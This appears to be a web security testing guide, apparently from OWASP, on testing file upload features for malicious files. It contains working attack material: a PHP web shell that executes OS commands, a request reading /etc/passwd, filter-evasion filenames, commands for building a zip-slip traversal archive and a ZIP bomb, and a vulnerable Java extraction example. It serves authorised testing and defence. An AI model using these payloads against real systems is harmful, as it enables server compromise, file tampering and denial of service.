**Test Upload of Malicious Files**

**Summary**

Many application’s business processes allow users to upload data to them. Although input validation is widely understood for text-based input fields, it is more complicated to implement when files are accepted. Although many sites implement simple restrictions based on a list of permitted (or blocked) extensions, this is not sufficient to prevent attackers from uploading legitimate file types that have malicious contents.

Vulnerabilities related to the uploading of malicious files is unique in that these “malicious” files can easily be rejected through including business logic that will scan files during the upload process and reject those perceived as malicious. Additionally, this is different from uploading unexpected files in that while the file type may be accepted the file may still be malicious to the system.

Finally, “malicious” means different things to different systems, for example malicious files that may exploit SQL server vulnerabilities may not be considered as “malicious” in an environment using a NoSQL data store.

The application may allow the upload of malicious files that include exploits or shellcode without submitting them to malicious file scanning. Malicious files could be detected and stopped at various points of the application architecture such as: Intrusion Detection/Prevention System, application server anti-virus software or anti-virus scanning by application as files are uploaded (perhaps offloading the scanning using SCAP).

**Example**

A common example of this vulnerability is an application such as a blog or forum that allows users to upload images and other media files. While these are considered safe, if an attacker is able to upload executable code (such as a PHP script), this could allow them to execute operating system commands, read and modify information in the filesystem, access the backend database and fully compromise the server.

**Test Objectives**

* Identify the file upload functionality.
* Review the project documentation to identify what file types are considered acceptable, and what types would be considered dangerous or malicious.
  + If documentation is not available then consider what would be appropriate based on the purpose of the application.
* Determine how the uploaded files are processed.
* Obtain or create a set of malicious files for testing.
* Try to upload the malicious files to the application and determine whether it is accepted and processed.

**How to Test**

**Malicious File Types**

The simplest checks that an application can do are to determine that only trusted types of files can be uploaded.

**Web Shells**

If the server is configured to execute code, then it may be possible to obtain command execution on the server by uploading a file known as a web shell, which allows you to execute arbitrary code or operating system commands. In order for this attack to be successful, the file needs to be uploaded inside the webroot, and the server must be configured to execute the code.

Uploading this kind of shell onto an internet facing server is dangerous, because it allows anyone who knows (or guesses) the location of the shell to execute code on the server. A number of techniques can be used to protect the shell from unauthorised access, such as:

* Uploading the shell with a randomly generated name.
* Password protecting the shell.
* Implementing IP based restrictions on the shell.

**Remember to remove the shell when you are done.**

The example below shows a simple PHP based shell, that executes operating system commands passed to it in a GET parameter, and can only be accessed from a specific IP address:

<?php

if ($\_SERVER['REMOTE\_HOST'] === "FIXME") { // Set your IP address here

if(isset($\_REQUEST['cmd'])){

$cmd = ($\_REQUEST['cmd']);

echo "<pre>\n";

system($cmd);

echo "</pre>";

}

}

?>

Once the shell is uploaded (with a random name), you can execute operating system commands by passing them in the cmd GET parameter:

https://example.org/7sna8uuorvcx3x4fx.php?cmd=cat+/etc/passwd

**Filter Evasion**

The first step is to determine what the filters are allowing or blocking, and where they are implemented. If the restrictions are performed on the client-side using JavaScript, then they can be trivially bypassed with an intercepting proxy.

If the filtering is performed on the server-side, then various techniques can be attempted to bypass it, including:

* Change the value of Content-Type as image/jpeg in HTTP request.
* Change the extensions to a less common extension, such as file.php5, file.shtml, file.asa, file.jsp, file.jspx, file.aspx, file.asp, file.phtml, file.cshtml
* Change the capitalisation of the extension, such as file.PhP or file.AspX
* If the request includes multiple filenames, change them to different values.
* Using special trailing characters such as spaces, dots or null characters such as file.asp..., file.php;jpg, file.asp%00.jpg, 1.jpg%00.php
* In badly configured versions of Nginx, uploading a file as test.jpg/x.php may allow it to be executed as x.php.

**Malicious File Contents**

Once the file type has been validated, it is important to also ensure that the contents of the file are safe. This is significantly harder to do, as the steps required will vary depending on the types of file that are permitted.

**Malware**

Applications should generally scan uploaded files with anti-malware software to ensure that they do not contain anything malicious. The easiest way to test for this is using the [EICAR test file](https://www.eicar.org/download-anti-malware-testfile/), which is an safe file that is flagged as malicious by all anti-malware software.

Depending on the type of application, it may be necessary to test for other dangerous file types, such as Office documents containing malicious macros. Tools such as the [Metasploit Framework](https://github.com/rapid7/metasploit-framework) and the [Social Engineer Toolkit (SET)](https://github.com/trustedsec/social-engineer-toolkit) can be used to generate malicious files for various formats.

When this file is uploaded, it should be detected and quarantined or deleted by the application. Depending on how the application processes the file, it may not be obvious whether this has taken place.

**Archive Directory Traversal**

If the application extracts archives (such as ZIP files), then it may be possible to write to unintended locations using directory traversal. This can be exploited by uploading a malicious ZIP file that contains paths that traverse the file system using sequences such as ..\..\..\..\shell.php. This technique is discussed further in the [snyk advisory](https://snyk.io/research/zip-slip-vulnerability).

A test against Archive Directory Traversal should include two parts:

1. A malicious archive that breaks out of the target directory when extracted. This malicious archive should contain two files: a base file, extracted into the target directory, and a traversed file that attempts to navigate up the directory tree to hit the root folder - adding a file into the tmp directory. A malicious path will contain many levels of ../ (*i.e.* ../../../../../../../../tmp/traversed) to stand a better chance of reaching the root directory. Once the attack is successful, the tester can find /tmp/traversed to be created on the webserver through the ZIP slip attack.
2. Logic that extracts compressed files either using custom code or a library. Archive Directory Traversal vulnerabilities exist when the extraction functionality doesn’t validate file paths in the archive. The example below shows a vulnerable implementation in Java:

Enumeration<ZipEntry> entries =​ ​zip​.g​etEntries();

while(entries​.h​asMoreElements()){

ZipEntry e ​= ​entries.nextElement();

File f = new File(destinationDir, e.getName());

InputStream input = zip​.g​etInputStream(e);

IOUtils​.c​opy(input, write(f));

}

Follow the steps below to create a ZIP file that can abuse the vulnerable code above once its uploaded to the web server:

# Open a new terminal and create a tree structure

# (more directory levels might be required based on the system being targeted)

mkdir -p a/b/c

# Create a base file

echo 'base' > a/b/c/base

# Create a traversed file

echo 'traversed' > traversed

# You can double check the tree structure using `tree` at this stage

# Navigate to a/b/c root directory

cd a/b/c

# Compress the files

zip test.zip base ../../../traversed

# Verify compressed files content

unzip -l test.zip

**ZIP Bombs**

A [ZIP bomb](https://en.wikipedia.org/wiki/zip_bomb) (more generally known as a decompression bomb) is an archive file that contains a large volume of data. It’s intended to cause a denial of service by exhausting the disk space or memory of the target system that tries to extract the archive. Note that although the ZIP format is the most used example for this, other formats are also affected, including gzip (which is frequently used to compress data in transit).

At its simplest level, a ZIP bomb can be created by compressing a large file consisting of a single character. The example below shows how to create a 1MB file that will decompress to 1GB:

dd if=/dev/zero bs=1M count=1024 | zip -9 > bomb.zip

There are a number of methods that can be used to achieve much higher compression ratios, including multiple levels of compression, [abusing the ZIP format](https://www.bamsoftware.com/hacks/zipbomb/) and [quines](https://research.swtch.com/zip) (which are archives that contain a copy of themselves, causing infinite recursion).

A successful ZIP bomb attack will result in a denial of service, and can also lead to increased costs if an auto-scaling cloud platform is used. **Do not carry out this kind of attack unless you have considered these risks and have written approval to do so.**

**XML Files**

XML files have a number of potential vulnerabilities such as XML eXternal Entities (XXE) and denial of service attacks such as the [billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack).

These are discussed further in the [Testing for XML Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection) guide.

**Other File Formats**

Many other file formats also have specific security concerns that need to be taken into account, such as:

* Image files must be checked for maximum pixel/frame size.
* CSV files may allow [CSV injection attacks](https://owasp.org/www-community/attacks/CSV_Injection).
* Office files may contain malicious macros or PowerShell code.
* PDFs may contain malicious JavaScript.

The permitted file formats should be carefully reviewed for potentially dangerous functionality, and where possible attempts should be made to exploit this during testing.

**Source Code Review**

When there is file upload feature supported, the following API/methods are common to be found in the source code.

* Java: new file, import, upload, getFileName, Download, getOutputString
* C/C++: open, fopen
* PHP: move\_uploaded\_file(), Readfile, file\_put\_contents(), file(), parse\_ini\_file(), copy(), fopen(), include(), require()